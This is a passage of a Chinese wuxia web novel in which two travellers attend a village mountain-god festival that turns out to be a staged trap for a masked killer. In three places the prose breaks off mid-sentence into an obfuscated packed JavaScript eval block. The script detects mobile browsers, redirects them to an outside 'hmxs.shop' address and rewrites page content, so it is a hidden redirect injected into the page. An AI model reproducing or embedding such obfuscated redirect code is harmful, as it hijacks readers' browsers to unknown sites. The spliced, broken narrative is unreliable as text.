十八学士就没他怎么乐观,忧虑道:“一会儿在村中若是遇见金刀卫恐怕还会起冲突。” 周盈道:“无妨,一来当时我们蒙面,一会儿进去换身打扮他也不见得认出来。” “二来嘛。”他将手一展,指尖窜出一小缕火焰,跳跃的同时闪烁着不同一般的炽热的光芒。 十八学士明白过来:“原来当时追踪的是他。” “既然如此,何不等晚些时候跟踪他看个仔细。” 周盈道:“那人受我一掌,看伤势,没个十天半月好不了。” 十八学士笑道:“看来想强人所难也不行了。” 7. 不寰鸟(七) 过了中秋,村中新收米稻,家家粮仓都还富裕着,再逢上祭典,村庄一派喜气洋洋。 一进村就是可供三驾大马车并驱而行的宽阔大道,道上湿漉漉的,残积着水痕,秋季的日头不重,二人行走路上,倒也觉得舒爽。 行道两旁则是当地人摆的花样繁多的摊子:泥捏的彩绘小马、各色的人俑,此外就是翠毛花翎和各色的糯米吃食。 那泥偶的摊子仅两扇门敞开大小,用数十层货架安置,细细数来,大大小小竟有数千尊泥偶。层层叠叠,千姿百态,实在稀奇。周盈不由叹道:“好精致的手艺。” 十八学士奇道:“公子也喜欢这些小玩意儿?” 周盈道:“小时候见过不少。” 周盈说着,似乎想到什么,两颊带着笑意。 但对年长的十八学士而言,幼年的生活成了模糊的影子,细想起来,恍如隔世。 摊主是个年过半百的阿伯,时日尚早,摊前没什么人。他才摆上摊子,拿着彩笔要去勾那泥偶胎丕的眉眼。受了赞赏,抬头笑道:“都是自家捏着玩的,公子喜欢只管拿去。” 话毕,他神情一滞,暗暗称奇,却未有多言。 周盈一付心肠都在他手中勾画的泥偶,暂未觉察摊主神色微变。十八学士看在眼里,却也不说什么,自去看那花样百出的泥偶。 那些泥偶神态逼真,嗔痴喜怒无不生动,开口笑的娃娃就在面颊上抹两抹腮红,含羞的小女儿掩着嘴却将喜色藏在眉间,至于持剑的剑客则豪情万丈,磊落山河,意气风发。 十八学士拿起那剑客泥偶,道:“像不像?”他边说边拿在周盈身边,似乎要一较高下。 那剑客捏的正是一个少年模样,素衣短裾,腰间别无配饰,只用银色染料勾出一条若有若无的细线。他一手持剑,另外一手捏着法诀,虽然声势大张,神色却十分从容,似乎是在与人比试。 周盈道:“都是剑客也不能乱比。” 他指着少年剑客持剑的手道:“你瞧,他使的是左手剑法,我若是左手拿剑去与人比试可是要吃亏的。” 十八学士道:“他虽然左手拿剑,可是看他身体微微偏左,对手应在左边,并且是战到激烈的时候才自然换了左手。” “至于右手,不是正捏着法诀,看来是左右手通用。” 泥偶摊的主人听着二人谈话,道:“二位观察得好细心。” “不过要说相像,我看这个倒是与公子更像些。” 他指的是诸多彩绘泥人中素色一尊。 这泥偶全身皆白,头发也只用浅色束发扎好,不同其他泥偶,或握着一把扇子,或手持一柄钢刀,“他”只将两手藏在衣后,面容无喜无悲。 将泥偶翻过去,只看见“他”双手被一头长发遮住,手里拿着什么,或者捏着什么法诀是一点看不出的。 周盈再去细看,泥偶似乎真与自己有些相似之处,笑道:“这趟没来错。” 摊主在一旁听了这番话,道:“二位是外来的客人,可是来参加今天的祭神大典?” 周盈原是为三摩地之事而来,但他初来乍到,难免存着好奇。坟前祭礼倒是见过多次,但山神的祭典却没听过,故答了声是。 摊主道:“公子不知今日要祭的神就是这位。” 周盈一看:“原来这是山神的泥偶。” 他才反应过来村口两人夸赞的“好相貌”是什么意思,夸的自然是周盈,夸的原因却在山神。 这个村庄信奉山神,便把山神用泥塑成了人偶,虽然模样捏得好,造型也好看,但其中却是三分传说,七分想象。莫说真实的山神长个什么模样,便是山神也不见得是真实存在的。纵使真的有个原型,也是故事成为了传说,真实的倒不知道被扭曲成什么样子。 周盈道:“不知这剑客是哪尊神?” “哪有这么多神,这剑客嘛,既使剑,想来就是个武功高强的人。”那摊主看到周盈背后的朱红短剑,似乎注意到眼前之人身份,奇道,“公子年纪轻轻,居然是修行之人。” 周盈道:“算不上,不过出门在外,拿把剑装装样子,唬唬人罢了。” 这村庄既然信奉山神,今天又遇到个山神模样的人,周盈自以为巧合,那摊主却觉得是有些机缘在的。于是,将那尊白衣山神像递与他:“公子与山神有缘,拿去也得个吉利。” 见摊主大方,周盈也不多推辞,道了谢,接过山神像。 摊主道:“这位客官看看可有喜欢的,也挑一个吧。” 十八学士看了看刚才的剑客泥偶:道:“那我便要这个了。” 摊主亦递与了他,临别又道:“二位多走几处逛逛,这祭神大典一年只这一回,错过了就不好等下次了。” 二人与他见别后,才走出去几步,就听见周盈说:“今天可让我验出上句了。” 他从袖中拿出小小的山神像,道:“看来‘神本无相’四字是别处不知道的人应着下句附和出来的。” 神本无相,鬼名无名。 十八学士看着无悲无喜的山神容貌,受同行人话语的触发,心中泛起莫名的心思。 一圈逛下来,再也没见到什么新奇的,周盈只买了点糯食勉强填填肚子, 百无聊赖之际,一个村民手上持把似杨柳枝一样的东西,用那枝条挑开,将大碗里的水洒在路上。等碗里的水尽了,就到随便一家喊一声,必然有小孩子捧着自家的大碗给加满水。倒水时口中还念诵着什么,周盈仔细一听,原来那些孩子口中说的是: 维予神思,无曰高高在上,陟降厥土,清兮澹兮,为我神开道! 这似乎是本地习俗,小孩子虽然贪玩,居然记得牢固,顺顺溜溜地背出来,没有一句磕绊。把话念完了,就笑哈哈地跑开。 要是遇到有些家孩子才会走路的,也由父母牵着倒上一小碗水,然后就由父亲或是母亲先念一句: “维予小子,不聪敬止。日就月将,学有緝熙于光明。” 另一个再接下一句: “今我神来思,佛时仔肩,示我德行。” 两句话都说完了,那撒水的老伯就拿柳枝沾水往孩子面上一点。 小孩子牵着父母的手,纵使听不懂也必然憨憨笑着,似乎真如所念一样不聪不惠。 周盈道:“这个村子的习俗倒是很有意思,不知这样做有什么意寓?” 十八学士道:“杨柳枝与河水代表的春夏两个时节,春草,夏水,秋时,把这三者凑在一起是希望留住丰收的时候。” 庄稼人难得有仓廪这样充足的时候,收了粮食才略微空出时间来祭神。其实祭神倒是其次的,不如说是为了给来年一点安慰和希望。 二人走过了长街,暗中留心探查,只觉村中一派祥和,人性淳朴,却不知与三摩地之事有何干系,暂时也看不出什么端倪。 那洒水的村民一路走一路洒,只到了道路最末端,在一处祭台下才收了碗。他早已注意到二人,现在得空歇息了,道:“二位走到路中,也来沾沾祝福。” 周盈心道:“此地人倒是开明,神行道也不忌讳让人先走了。” 怕犯了忌讳,便问:“老伯,这晚些时候就要迎神的路,我们也走得吗?” 那老伯捏着酸胀的左臂,道:“有什么走不得,我们的山神喜热闹,人越多的地方他越爱看。” “公子走一走神道,先走神走过的路,以后也顺顺利利的。” 二人受了他的好意,走到路中去,又走几步,绕着那搭好的祭台走了半圈。似乎因为时间尚早,那祭台还只是个简陋的木头搭成的空架子,但是台面极广,可以站下近百人。 因是空台,倒也没有什么可说的。引人注意的反而是那祭台边的一堵长墙。 原来祭台设在村子最里面,由村中唯一条大路连接着,路一直通到村口,两旁便是清一色的木屋。除了待客的客栈搭了两层,其余尽是一串的平房。 但是独独祭台之后,竟是一堵数十米的长墙。墙约两人高,四周爬满了藤蔓,并一直延伸到墙的背面。这些藤蔓又缠住了墙外的树枝,每一年都尽力四处蔓延。但是墙的中间却没被这些微微枯黄的藤蔓吞没,因为墙上有一幅从头续连到墙尾的壁画。 这画想必长久遭受风雨打击,上面有明显修补过的痕迹。画上绘着奇奇怪怪的图景,因画面过于零碎,一眼望过去,还以为是孩童随心涂鸦。 十八学士却被这画牢牢吸引,似乎入了神。 周盈纳罕道:“老伯,这墙上画得是什么?” “这个呀,就是今天晚上演的就是上面的故事。” 演出的地点就是旁边还没搭好的祭台。 但周盈凑近一看,墙上的画修修补补,却已经有了裂痕。 第一个画面,上面是一个彩绘的双面人,一身两面,两张脸都是以彩笔绘出,斑斓纷纭。 第二个画面就要丰富的多,画里面人物多了起来,是一群人在草地上游乐。人一多,下笔就不如上一幅的双面人精细,都只是黑色的边,白色的底。 不知道是不是因为画师技巧拙劣,有些白色的颜料甚至溢到黑色的线条之外。 周盈盯着这幅画道:“老伯,今晚演的是哪个故事?” 那老伯捶完左腿又来捏右臂,听到这句话,回过头来,看了看周盈面前的图画。一晃神,只见日光落下处,周盈酷似山神脸映入画中。 他愣了愣,又似乎被剑光灼伤了眼,忽然回过神道:“问神。” 墙上画的,台上演的就是这一出《问神》。传说山神一直在看不到的地方关照下尘,当人间落入尘劫时就会降临人世,带领受难的人渡过灾难。 名为“问神”,其实也有祈求庇护的意思。 再走两步,下一幅修补的痕迹要明显得多,画上依旧是一群人,手法还是像上一幅,仍旧是黑线白底,仍是有白底溢出黑线。但画面中众人形态十分扭曲,黑色的勾线甚至折了几折。有些人双脚无法站立,箕踞而坐,有的干脆躺了下去,虚弱得像在死亡边缘。 因为画技拙劣,那些躺下的人是睡是醒都叫人分辨不出,周盈看了两眼,看不出什么门道,便不再费心。 第三幅,最引人注意的是画中那腾空的一人,白色的底溢出了黑线,但是因为墙面剥落又没及时修补,那人的正脸刚好遭殃,让人浮想联翩。 看过三幅,周盈再没了兴致,后面的画面都是一闪而过:高峰、华堂、巨树,树上坠着怪异的果子…… 总之,万事万物,零零散散,不成规矩地都叫入了画,足见当地人想象之丰富。 这村中人虽少,却因处在交往的要道上,光是住店就开了七八家,至于食馆就到处都是了。二人图方便选了靠近祭台的一家,交了银钱,靠边坐下。 点了四五样菜后,店家自去张罗,二人自落座饮茶。 祭典日落后才开始,村庄并不大,二人用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16796340|190652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完饭也还剩大半日,又在村子探查了一圈,暂也看不出什么,便各自回屋歇息。 周盈入了屋子,才解下背上那柄朱红短剑。 这次离家就是因为这把剑,他幼失双亲,亲爹姓名不知,来路不明,唯独留下这“废铁一把”。 这剑白日通身赤红,入夜转为青白之色。 为寻这剑来历,他私自离家,如今已经是第三日。 师父闭关,不知是否已经出来,只是剑的来路始终一无所获。 周盈叹口气,把剑置在床边,翻身上了床,胡思乱想一阵后,从衣里摸出根金鱼草,草叶微微枯黄,已见凋零之态,他知道自己逍遥的时间不多了。 流言蜚语,没一处与他有关,可是每一处,真的假的,被夸大的,被扭曲的再次在他的脑海里打转。 他理了理头绪,仔细回想十八学士说的,发现一件事情暗暗合上:那两名金刀卫死状与传闻里四村惨案一摸一样。 人全部消失,满街却都是飘飞的衣物。 也就是说,村子里的人被杀死后,尸体出现异状,化作青烟消散了。 但是,数百口人,若不为财,又为何下这样的杀手? 周盈枕着手臂,仰起头,若有所思。 他想起两个人。 海若渊和明师。 据说无忌公室死在恶鬼一劫,上百公子也尽数殒身,偌大的公室沦落得人丁单薄、独木难支的下场。 何况,这木还是块朽木! 幸存的唯一一条血脉虽是无忌公室亲子,却十分不成器。 名义上自然是他掌管公室,实际管事的却是两个外姓人。 阎王刺被盗之时,十里槛仅剩一个空有其表的第十一代公室,这两个真正管事的却外出巡查四村惨案。 啧,这也太巧了! 十八学士说,恶鬼是杀不死的。 如果青面人是四村惨案的幕后推手,那么他的身份——— 两个字蹦进脑海:恶鬼! 恶鬼为夺走阎王刺故意犯下大案,引开了驻守十里槛的明师与海若渊。 那么金刀卫会出现在三摩地也不奇怪。 但是,一想到恶鬼的预言,他摇摇头,一只恶鬼就够恐怖,要真有九只,世界不是得天翻地覆。 想着,他打了个哈欠,不久便沉沉睡去。 不知过了多久,忽闻一阵躁动,一睁眼,那青面人就在面前,剑鸣渐渐停止。 青面人没料他突然醒来,措手不及间竟然对他惨然一笑:“醒了。”还没说完,一掌打了过来。 周盈心有怨气,出口讽刺道:“赶着超度,找和尚,找我作甚?” 一语未了,剑还未出鞘,只拿剑身轻轻一挡,青面人掌气瞬间被化解。 他自知不是周盈对手,又有把剑作怪,不再纠缠,破窗而出,从二楼逃走了。 窗被打开瞬间,阴风阵阵扑面而来,浓厚的黑云笼罩了整个天空。周盈临窗望去,人已经逃得无影无踪。在他逃走的楼下,祭台下面人头攒动,村民已在准备祭典了。 周盈看着乌泱泱的人头,回过神,心道不妙。 等他拍开旁边的房间,一推开,房中人已不见了。 十八学士! 周盈旋即往楼下去找,店里面的人随着祭典的到来而增多,一群孩子正嬉笑地跑来跑去,楼上楼下,是更加嘈杂的声响。 人们谈笑着神的祭典,喜气洋洋,言溢于表。 但他们都不知道那里死了人,就在昨晚,一共四十一人,只活了两个。 一个是他,一个是十八学士。 现在,十八学士也可能死了。 周盈找不到人,焦急起来。 此时有人急匆匆跑来进客栈,旁的两三人又赶着祭典,十分不耐烦地等店家上菜,桌子敲得咚咚响。还有几个人不长眼睛似的横冲直撞,一步一动,踏得地板震天响。 周盈正着急地在人影幢幢中四处搜索,只听一人朗声道:“诸位客官,祭典要开始了。” 于是,一批批人风风火火地赶到祭台前,挤在一起。 周盈正要出门去寻,一个声音道:“无碍,我去看看,想是这几日奔波睡得沉了。” 乍听熟悉的一声,周盈恍回身一看,正是十八学士与那店家答着话。 转过身来,十八学士也看见了周盈。他道:“原来已经醒了,正好祭典开始,我们快去。” 周盈稍稍回神,一时不知该说些什么。 十八学士不知楼上变故,却观得出他神色不对,问道:“青面人出现了?” 周盈应声道:“打跑了。” 十八学士略略一惊,心道,照那金刀卫的说法,还不到青面人出现的时候。 青面人拿他们没办法,可是一旦祭典开始,这些都是不会武功的村民。到时候他再偷袭,酒馆里的悲剧只会一遍遍上演。 周盈已经转向客栈外面,在得知祭神大典即将开始以后,越来越多的人跑向了祭台。黑压压的一片,脚步声嗒嗒嗒,这是这个村子最热闹的一天。 或许,这就是被恶鬼盯上的第五个村庄。 十八学士知道他担心,宽慰道:“那青面人吃过几次亏,料也不敢轻举妄动。” 他笑了笑:“而且,这是受山神庇佑的村子。” 周盈叹道:“这话学士自己也不相信。” 十八学士指了指祭台:“可是他们相信。” 8. 不寰鸟(八) 天色渐暗,一寸见方的天地,人头攒动,四方来人呼呵声不断,情绪高昂。 无数慕名而来的游人一同挤到祭台前,努力踮起脚,抬起头,争着向前。周盈和十八学士来得晚些,只好站在祭台的最外圈。 祭台早已经布置完毕,由四只两人环抱的柱子支撑着。柱子穿过祭台台面后,还高出一丈多。于是就在柱子的顶端凿了孔,绑上麻绳,如此一来,一个柱子刚好可以挂上六七个灯笼。 但不知何故,这些灯笼都还未点亮。 祭台下黑黢黢的,什么都看不见,耳边充斥众人喧闹声音。 村民们早领了自家的孩子站在街道的两侧。这时,他们正拿着极长的竹竿,在路的两边挂上灯笼。六盏灯为一组,用绳子束在一起,围成一个圈。这样火光就聚在一起了。放眼望去,在千万盏明灯装点下,整个街道,一时间黑夜如昼。 在点灯一刻,祭台下等待众人似乎也被热烈的火光触动,逐渐移出祭台,走到了大街上。 村民手脚麻利,等外来的游人反应过来时,已经上了灯,收了长竿子,退到了长街边上。 下一刻,在一片喧闹的人声中,正对祭台的长街一头,一个戴着翎羽面具的女子翩然而至,长袖翠衣,迈着轻盈的步子,自路上边跳边唱,回首顾盼着,从村口一路跳到了人群前。 看到那个女子时,原本嬉闹的众人才知道神典已经开始了,便自觉从中间缓缓分开,让出一条阔道。 周盈只瞧了几眼,心中诧异。 女子步法飘渺无踪,倏忽无定,却又颇为俊捷,绝非寻常村中祭司。 跳到祭台前,她便绕圈轻旋,翠色的衣衫翻袂,手上的羽扇前后摆动,做出引路的姿态。众人不明所以,议论的声音却伴随着女子渐近的身影渐渐平息了。 寂寂暗夜,只听见年轻女子一声清吟。 吟声空灵,有曲无词,仅以腔调分节。 周盈心道,这必定是迎神曲了。 腔调每每一转,街道上的灯灭一盏,光暗一分,五次变调,一组六盏灯只剩一盏,秋风一过,似萤火扑朔,刚刚绚烂的街道一时被拉向了黑暗的边缘。 众人昂首张望,周盈也禁不住去看那早被杨柳枝水洒过的长街。 女子似真似幻的蛊惑声音又起:“我神过道,九鬼伏尸。” 语闭,女子身形一闪,窜入了祭台的阴暗处。 众人一阵惊叹。 就在女子消失的同时,悠长而昏暗的长街尽头又出现一个人影。 白衫无华,长袍曳地,一路缓行而来。 与白日看到的泥像一般无二,那白衣“山神”将手轻轻背在身后,迈着无声的步子,在灯火下,逐渐走到翘首盼望的诸人面前。 “山神”的面具不同于引路女子用华丽的鸟羽所装饰的,那只是一张极为简单的,连粗砺线条都不曾勾勒的面庞,无悲无喜,无生无息。 周盈想起四个字——“神本无相”。 村民应时而动,挑起了长竿,在“山神”身后点起灯,一段段路程重归光明。 然后,他们便跟在“山神”后面,踏过“山神”的脚印,以稍慢的速度向祭台漫步走来,这就是所谓的“履神迹”。 原来这些村民已经成了祭典的一部分。 半刻之后,“山神”在众人的观望中已经行至路中央,后面跟着的村民越进越多,履着神迹,沐着光辉。 众人心中刚被迎神者激起的兴奋一时平息下去,只望着“山神”向自己走来,心脏跳得飞快。 越到高潮,就越是平静的祭典。 周盈初见祭典虽有震撼,却还未到忘记自己的目的。偏偏那句话又不合时宜地蹦上心头——月黑风高杀人夜! 这个村子,会是第五个吗? “山神”领着众人缓步而来,一张苍白无物的面孔赫然映入眼帘。 那张脸,与自己并没有什么干系。 但是,面具下的的面孔又会是什么样? 周盈心上怦然一动,如果面具下的是一张青色的脸…… 神本无相,鬼名无名。 恶鬼伪装神明,成了救赎者。他的脚下,是杨柳枝水扫过的清明大道,有一群人正自觉追随着他,他指引的道路,便为神迹…… “山神”越走越近,众人张着脖子,巴巴望着,感受祭典的庄严。 山神的救赎的意义不仅来自山神本身,更因为他出现前长久的黑暗。所谓的神,正是人们在黑暗世界唯一可见的光。 “山神”身后的村民都沐浴在灿灿灯火中,他走过的每一段路都光芒重现。 在众人无声呼唤中,“山神”的脚步在大路将尽处停止了。 周盈见他突然停滞不前,生起一种不详的预感:“山神”的前面,是一无所知的游人,兴至而来。“山神”的后面,是最虔诚的信徒,只会盲目追随。 “山神”与前后两拨人,均不过数步之遥。这点距离,若青面人出手,杀人不过眨眼间,怕是无人能逃。 “山神”的异样也引起了众人注意,最开始只有一两人窃窃私语,时间一长,便不耐烦了,人群开始躁动了。 周盈与十八学士相视一望,十八学士却又将视线移回“山神”身上,然后摇了摇头。 什么意思? 是提醒自己不要轻举妄动,还是说“山神”与那青面人无关? 青面人能在一瞬间夺走生命,而死者甚至不会察觉到威胁。 “山神”停止了动作。 一股异样爬上心头,周盈忽然想起—— 来自暗处的杀机,隐匿于黑暗之中,也可能是人群之中! 近日种种涌上心头,或许“山神”不是不想动,而是不能动。 “山神”不是鬼,只是恶鬼来时的牺牲者。 周盈心上一惊,那么青面人在哪里?不对,应该说,他是谁,扮演了什么角色,是旅人,还是村民? 周盈双掌不觉暗暗蓄力。 突然,众人纷纷将目光投向祭台。 原本空无一人的祭台上不知什么时候出现了一道身影,那人也是一身长衫,身后背一把五弦琴,分明是乐师的打扮。 那负琴的乐师并不奏乐,背着那沉重的长琴,几步走上前。 这时,众人才注意到他的肩上擎着一女童,只五六岁的模样,穿着长袖的小衫,随着乐人的移动,她的脚尖也稳稳落在乐人肩上轻旋。女孩起舞时,祭台两边不知何时出现的乐人也坐着打起了荒鼓板。 周盈听着乐声,乐声中透出莫名的哀伤。村里的孩子们只安静看着,大人已经有悄悄拿衣袖拭泪的。可为着不破坏祭典,被触动的人们强忍着没哭出声。 乐声逐渐地低迷,渐至终末。 在乐人肩上旋舞的女孩身形一偏,甩出长袖,无声击在祭台左右的大鼓上,祭台响起浑厚一声,舞蹈也随之结束。 祭台两边的乐人亦收了荒鼓板,台上的乐人向台前一揖,好似谢幕的动作,周盈知道,表演结束了。 紧接着,台下乍一声惊呼,周盈寻声而去,台下久立的“山神”竟在这个时候动了起来。 “山神”没死! 周盈看出,刚才那一鞠礼与寻常表演不同,不是向着台下的观众,而是单单对着“山神”。 原本止步不前的“山神”似乎受到感召,以前行的脚步给予众人回应。 最开始的翠衣女子是跳的是迎神舞,念的是迎神辞。那么女孩与乐人们表演的应该是娱神曲,可是,为何娱神的乐舞却透着一种莫名的悲伤。 就要接近一丈的高台时,“山神”轻身一跃而上,稳稳落在祭台中间。 台下人为此发出一声惊叹,紧接着,看台四周再次回归平静。 “山神”落下一刹,祭台上灯光骤亮,台下灯影流转间,祭台四角又相继跃上数人。每一个人都带着面具,面具上再也没有夸张艳丽的装饰,而是用墨笔勾出五官轮廓,用朱红的染料点了红唇。每个跃上前的人都会自觉向“山神”聚拢,最先是四人围成一圈,然后是六人、八人、十人…… 最后八层,共八十八人,将“山神”团团围住。 这些人上前时都将双手合拢置在头顶,同时围着最中心的“山神”一步一叩拜,似哀求,似尊崇。 人们的叩拜不停,祭台四边的灯却忽地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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周盈心里没由来一阵失落,他觉得这不应该是结局。 青面人借着光下的阴影隐没在黑暗中,对着周盈嗤笑,台下众人沉浸在祭台的世界,似乎看不到逼近的危险。他们似乎只把青面人当作表演的一环,完全不知已被人扼住了喉咙。 周盈见状,剑出鞘三寸,欲捉步而上。 十八学士知道他要有动作,依旧摇了摇头,示意他别轻举妄动。 台上所有人都倒下,在村民见惯不怪,外地的人似乎被这种跨越生死的表演震撼,一时不知是惊是惧还是赞! 周盈看着倒下的众人,按剑的手泌出冷汗,十八学士的阻挠让他不由得犹豫不定。紧张时,那只握剑的手不自觉放下。 周盈想,原来自己始终不擅用剑。 于是,他松开剑柄,转而右手捉力,欲发一掌。 眼见青面人就要暴露在灯火底下时,周盈手上掌劲窜至极点,如弦上利箭,只待一个触发的时机。 没想到十八学士察觉到他的心思,回身他的握住右掌,牵引着慢慢散去掌上积力。待掌劲散尽一刻,倒下的人骤然立起,分开两路,一共八十八人,拦住了青面人的去路。 周盈大吃一惊,不可置信地看着十八学士,视线最后又转回祭台上。 青面人似乎也没意料到骤然变化的情形,待他反应过来,想要离开已经来不及了。 八十八人严严实实把他围住,周盈在台下看得分明,那青面人奇异的步调穿过第一层人时,八十八人立刻转换阵形,由内向外补充人员,结成漩涡似的阵,将青面人死死禁锢在中间,脱身不得。 青面人自知步法被识破,恼怒之下,抬掌便要下杀手。偏偏那倒下的“山神”不知道什么站了起来,只见他左手拈法诀,右手持把暗色长刀,一念一转刀,刀峰在第四次转动时发出莹莹的光,伴着一声痛苦的嚎叫,刀尖半数都刺入了青面人体内。 原来,“山神”那把刀一直就悬在腰间。 青面人还没发出的一掌只得悬在半空,围着他的八十八人见势极速收阵。将青面人擒住后,他们身形一转,绕到祭台后轰轰烈烈地退场了。 “山神”收刀入鞘,摘下那张无悲无喜的面容。 面容之下,是一张年轻男子的面容。含着笑意,姿态从容,丝毫不见拘束,更多了些任侠之气。 周盈看见那张脸,啊了好几声。 这……这不是那掌柜儿子? 病秧子?! 9. 不寰鸟(九) 从外地赶来的旅人们才意识到祭神大典已经结束了,第一阵掌声便由这些外来者带起,噼里啪啦,轰轰烈烈,响彻半个村。 村民们置身其中,一脸满足,与有荣焉。 周盈看着十八学士,挤出一句话:“学士认得他?” 十八学士见大局已定,缓缓道:“咳咳,袖手旁观也是一种美德。” 无声的美德。 那病秧子跳下祭台,本村主事,就是今天在街上洒水的秦老伯,忙迎上去道:“大人啊,今年添的这出唤什么名?” 病秧子淡然道:“猎鬼。” 不是“问神”,是“猎鬼”。周盈心道,原来是新加的戏,不过刚才的青面人也过于真实了。 秦主事大赞:“排得好啊,明年还接着演。” 病秧子扫视一圈,视线猝不及防与周盈对上,口中道:“这出《猎鬼》只演今年。” 秦主事觉得可惜:“多好的戏,怎么只演今年。” “好戏也得适时,多演几次就失味了。” 秦主事见他不冷不热,又想起最近的事,也不再追问。 阎王刺失窃闹得人心惶惶,所以专门编排了这一出《猎鬼》驱驱晦气。 周盈耳朵极其灵敏,在一阵喧闹声中轻易便将二人对话尽收于耳。听到那句“只演今年”,心里便可赌定,刚刚结束的那出绝不是排好的舞蹈,而是一场精心策划的杀阵,擒杀的对象就是青面人。 想到此处,他终于注意到“山神”刺向青面人的长刀与金刀卫所用金刀极为相似,犀甲的刀柄,重而坚利的刀身。唯独刀身打造成墨色,应是为了方便隐匿在暗夜之中。 秦主事正对那病秧子一阵点头哈腰,嘘寒问暖,周盈看了十八学士一眼,他的目光全然落在二人身上,便悄悄绕去台后。 祭台后面有一道小小的暗门,正是刚才那迎神女子消失的地方。此时游人都还在回味着这一桩好戏,村中人在街道两边又重新点燃了灯,重拾零落的焰火。当地的传统,祭神夜的灯就像正月十五的一样,一晚上都不能熄。 周盈确定没有外人跟来,推开门缝悄悄一看,约可容下百人的房间,只在角落堆砌了演奏的器乐和衣衫。除此之外便别无一人。 不光是最后的八十八人,连那唱迎神辞的女子、跳舞的女孩、乐人们都消失得无影无踪。 手脚利落,来时悄无声息,去时干干净净。 突然,一阵脚步声自身后传来,周盈听那步法十分稳当,又并未刻意隐藏行踪,回头一看,果然是十八学士跟上来了。 他道:“人全离开了?” 周盈道:“该抓的都抓了,估计是回十里槛。” 说完,念着法诀一探,那名昏死过去的金刀卫果然已不在村中了。 想了想,又问:“那人也是公室的?” 十八学士知道他话中之人指的是带面具的“山神”,点了点头: “七段金枝衔令者,海若渊。” 金枝令,是公室统辖金刀卫所用的令符,金光灿灿,状若弯折的树枝,故而得名。 上有弯弯曲曲的节段,用以划分令符级别。段数越高,级别越高,至高称九段金枝。 唯一一枚九段金枝自初代公室以来,都是由十里槛掌权者接管,更是公室权力的象征。但这最要紧的宝贝,却在恶鬼一战中丢失。 如今,朱明公室以十里槛掌权者的身份持有唯一的八段金枝,海若渊和明师则各自掌控一枚七段金枝。 在外人看来,金枝九令,却是以七为至数。 七段金枝衔令者自然不会闲得慌来祭神大典上装神扮鬼。 周盈道:“当时你阻止我出手,是不是早就知道公室在这里设下陷阱?” 十八学士摇头否认,说:“一开始我只猜到那个山神有问题。” 周盈想了想,道:“因为步法?” 那么高的祭台,跳上去已经够呛,那山神不但跳了,落地却又轻飘飘的,居然丝毫没发出半点声音。 十八学士点点头:“我觉得他的步法与三摩地那人有些相似,但这只是其中一个原因。” “还有一个更重要的原因。”十八学士道,“那时青面人有点反常。” 被他这么一提醒,周盈自然也记起来。 他们二人之前就与青面人交过手,周盈不久前还受到了偷袭。那青面人每次都是突然出现,又转眼消失,打得人防不胜防。更重要的是,他夺人性命的手段都重在取巧,一旦知道对方不是轻易对付的,找到机会就逃得无影无踪。 可以说青面人给人的恐惧与威胁最主要就是来自他诡异的杀人手法,这点周盈现在还没看透。其次就是他出其不意的袭击。明枪易躲,暗箭难防,若非如此,酒馆众人也不至于毫无发觉就把命丢了。 杀了人,他甚至还特意跑去毁坏尸体,又暗中追杀知情人,显然是为了善后。 从这点可以看出,他杀人绝不是单纯图爽快。 可是——— 周盈道:“当时青面人却反常的在众人面前露了面。” 一开始,周盈只当那是一种挑衅的行为。 如今细想,青面分明冒着被擒抓的风险也要杀死祭台上的人。而且三摩地的那帮金刀卫一开始似乎也不是他的目标,若不是护送尸体,那三名金刀卫也不会被追杀。 进一步推知,当时祭台上那八十八名金刀卫,很有可能都不是他的目标。 除此之外,祭台上就只有“山神”! 青面人有什么理由必须在众目睽睽之下,杀死一个毫不相干的祭典人员? 如果山神是公室之人,甚至在公室还有相当高的地位就说得通了。 因为金刀卫出现在三摩地,就说明公室早已掌握了青面人的行踪。 四村惨案闹得沸沸扬扬,又极有可能与当年恶鬼有关,如果青面人真与恶鬼扯上关系,是四村惨案罪魁祸首,公室绝对不可能放过他。 海若渊是七段金枝持令者,杀死他,无疑可以拔去一大隐患。 只是没想到,金刀卫也是饵,目的就是钓出凶手。 两方对垒,公室棋高一招。海若渊早早就埋伏在这里,天时地利人和,三方面更是处处抢占先机。等一交手,青面人理所当然落入算计。 周盈心里明白十八学士当时制止的举动是善意提醒。公室自三摩地一路布计,以一具尸体将青面人引来槎枒村,又借着祭神大典作掩护,将人暗暗擒拿,一切都在放在暗处进行,手段更见不得光。 如果自己贸然出手,打乱了公室筹划,让青面人浑水摸鱼逃走,那现在麻烦的恐怕就是自己了。 他心里虽还有十分百分的困惑也只压下不谈,叹道:“没想到公室为了抓青面人居然会牺牲那三十九人性命。” 事后更偷偷埋了尸体,可谓是神不知鬼不觉。 十八学士心事重重,只道:“公室势在必得,如果不是那三十九人,也会是别人。” 至于那三名金刀卫,是引青面人来此的诱饵,也是计划中的牺牲品。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16796342|190652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但有一点,周盈始终想不通。 青面人最开始杀人的动机是什么? 他想杀自己多半是因为自己刚好撞到了他杀人。想杀金刀卫也是因为怕暴露,但是他为什么要杀死四个村子几百口人。如果他杀了人还怕暴露,又为什么这样张扬? 莫非真是为了引开明师和海若渊,好趁机夺走阎王刺? 